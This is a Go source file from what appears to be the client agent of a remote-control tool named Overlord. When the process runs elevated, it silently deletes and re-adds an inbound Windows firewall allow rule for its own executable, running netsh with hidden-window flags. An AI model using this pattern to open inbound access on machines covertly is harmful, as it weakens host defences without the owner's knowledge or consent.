Files
overlord/Overlord-Client/cmd/agent/webrtcpub/firewall_windows.go
T

49 lines
1.0 KiB
Go

//go:build windows && overlord_webrtc
package webrtcpub
import (
"log"
"os"
"os/exec"
"path/filepath"
"sync"
"syscall"
"golang.org/x/sys/windows"
)
const createNoWindowFlag = 0x08000000
var firewallOnce sync.Once
func ensureFirewallRule() {
firewallOnce.Do(func() {
if !windows.GetCurrentProcessToken().IsElevated() {
return
}
exe, err := os.Executable()
if err != nil {
return
}
if resolved, err := filepath.EvalSymlinks(exe); err == nil {
exe = resolved
}
ruleName := filepath.Base(exe)
hidden := &syscall.SysProcAttr{HideWindow: true, CreationFlags: createNoWindowFlag}
del := exec.Command("netsh", "advfirewall", "firewall", "delete", "rule",
"name="+ruleName, "program="+exe)
del.SysProcAttr = hidden
_ = del.Run()
add := exec.Command("netsh", "advfirewall", "firewall", "add", "rule",
"name="+ruleName, "dir=in", "action=allow", "program="+exe, "enable=yes")
add.SysProcAttr = hidden
if err := add.Run(); err != nil {
log.Printf("webrtcpub: firewall rule add failed: %v", err)
}
})
}